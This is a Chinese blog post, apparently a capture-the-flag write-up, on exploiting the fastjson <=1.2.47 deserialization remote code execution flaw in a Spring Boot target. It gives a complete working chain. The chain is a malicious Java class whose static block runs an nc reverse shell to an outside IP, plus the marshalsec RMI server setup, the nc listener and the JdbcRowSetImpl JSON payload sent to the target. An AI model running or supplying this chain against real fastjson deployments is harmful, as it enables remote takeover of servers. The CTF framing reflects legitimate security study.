要么改变世界,要么适应世界

fastjson<=1.2.47 RCE漏洞--Java Fastjson Unserializey题解

2022-08-02 08:52:32
75
目录

打开场景后扫描器扫不出任何可疑路径,但是使用burp抓包,获取响应包的时候获得了一个source.zip的源码,打开后发现,是一个使用Spring Boot搭建的项目,同时使用了fastjson,而且该版本存在RCE漏洞(远程代码执行)!

漏洞成因这里就不展开细讲(主要是我也讲不会!),这里只讲怎么利用该漏洞反弹shell

攻击

环境:

主机 IP 作用
Ubuntu 虚拟机 114.67.175.224 靶机,运行web项目,该项目中使用了存在漏洞版本的fastjson
cetos7 虚拟机 175.178.153.72(公网IP) 搭建web环境(提供恶意Java字节码文件)和RMI服务,nc接收反弹shell;安装好git、maven、jdk1.8,python、nc
win 11 物理机 --- 使用Postman 发送POC

搭建RMI服务

由centos7主机完成该工作。

这里借用marshalsec工具,先在GitHub上面下载相关代码:

git clone https://github.com/RandomRobbieBF/marshalsec-jar

使用maven构建包:

cd marshalsec
mvn clean package -DskipTests

然后准备以下恶意代码文件TouchFile.java

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String commands = "nc 175.178.153.72 4444 -e /bin/sh";
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
         }
      }
    }

将来靶机中会执行commands中的命令,175.178.153.72是我将来接受反弹shell的地址。

然后编译该文件成字节码:

javac TouchFile.java

然后使用python搭建web服务,使得外网能够访问该字节码文件:

python3 -m http.server 1234

phthon2: python -m SimpleHTTPServer 1234

使用外网能够访问该文件,则说明web服务搭建完毕:

image-20220802082146840

**注意:**防火墙记得放开该端口,并且如果你搭建web服务的主机是像腾讯云一样的服务商提供的,还要到控制台放开该端口。

开始运行RMI服务:

Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://175.178.153.72:1234/#TouchFile" 9988

nc开启监听窗口

由centos7主机完成该工作。

nc -lvvp 4444

**注意:**以上提到的3个端口,均要在防火墙中放开,并且到控制台放开端口。

开始攻击!

该工作由win11 主机完成,使用Postman发送数据:

image-20220802083559738

json对象为:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://175.178.153.72:9988/TouchFile",
        "autoCommit":true
    }
}

观察我们的centos主机,我们发现nc窗口成功获取了靶机的shell

image-20220802084111576

下面直接运行命令:

ls

image-20220802083907002

读取flag

image-20220802083950974

后记

Fastjson是阿里巴巴推出的,性能还算不错,国内应该很多人使用。但是之前爆过几次反序列化RCE漏洞让无数厂商苦不堪言,怎么说呢,国产软件,任重道远,希望它越来越好吧!

历史评论
开始评论